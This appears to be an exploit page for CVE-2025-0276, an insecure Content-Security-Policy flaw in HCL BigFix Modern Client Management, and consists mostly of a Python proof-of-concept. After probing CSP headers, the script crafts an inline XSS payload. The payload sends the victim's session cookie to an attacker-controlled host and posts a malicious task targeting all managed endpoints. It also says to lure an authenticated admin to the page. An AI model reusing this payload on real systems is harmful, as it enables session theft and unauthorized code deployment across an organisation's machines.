CVE-2025-0276 HCL BigFix MCM内容安全策略不安全指令漏洞

# CVE-2025-0276 PoC - HCL BigFix MCM CSP Bypass # This PoC demonstrates exploitation of insecure CSP directives # in HCL BigFix Modern Client Management (MCM) <= 3.3 import requests from urllib.parse import urljoin TARGET_URL = "https://target-bigfix-mcm-server:443" MALICIOUS_PAYLOAD_HOST = "https://attacker-controlled-server.com" def check_csp_headers(target_url): """Check if the target has insecure CSP directives""" response = requests.get(target_url, verify=False) csp_header = response.headers.get("Content-Security-Policy", "") insecure_directives = [] # Check for unsafe-inline directive if "unsafe-inline" in csp_header: insecure_directives.append("'unsafe-inline' allows inline script execution") # Check for unsafe-eval directive if "unsafe-eval" in csp_header: insecure_directives.append("'unsafe-eval' allows eval() execution") # Check for wildcard sources if "*" in csp_header or "data:" in csp_header: insecure_directives.append("Wildcard or data: URI in source list") # Check for missing frame-ancestors if "frame-ancestors" not in csp_header: insecure_directives.append("Missing frame-ancestors directive (clickjacking risk)") return insecure_directives def craft_xss_payload(): """Craft an XSS payload that bypasses the insecure CSP""" # Since CSP allows 'unsafe-inline', inline scripts can be executed payload = """ <script> // Exploit: Steal session cookie or perform unauthorized actions var sessionToken = document.cookie; var img = new Image(); img.src = 'https://attacker-controlled-server.com/steal?token=' + encodeURIComponent(sessionToken); // Perform CSRF-like action: create unauthorized task fetch('/api/tasks', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ name: 'Malicious Task', action: 'deploy', target: 'all-endpoints' }) }); </script> """ return payload def exploit(target_url): """Main exploit function""" print(f"[*] Target: {target_url}") print("[*] Checking CSP configuration...") issues = check_csp_headers(target_url) if issues: print("[!] Insecure CSP directives found:") for issue in issues: print(f" - {issue}") print("\n[*] Crafting XSS payload to bypass CSP...") payload = craft_xss_payload() print(f"[+] Payload ready: {payload[:100]}...") print("[+] Host the payload on attacker-controlled page") print("[+] Trick authenticated admin to visit the malicious page") else: print("[-] CSP appears to be properly configured") if __name__ == "__main__": exploit(TARGET_URL)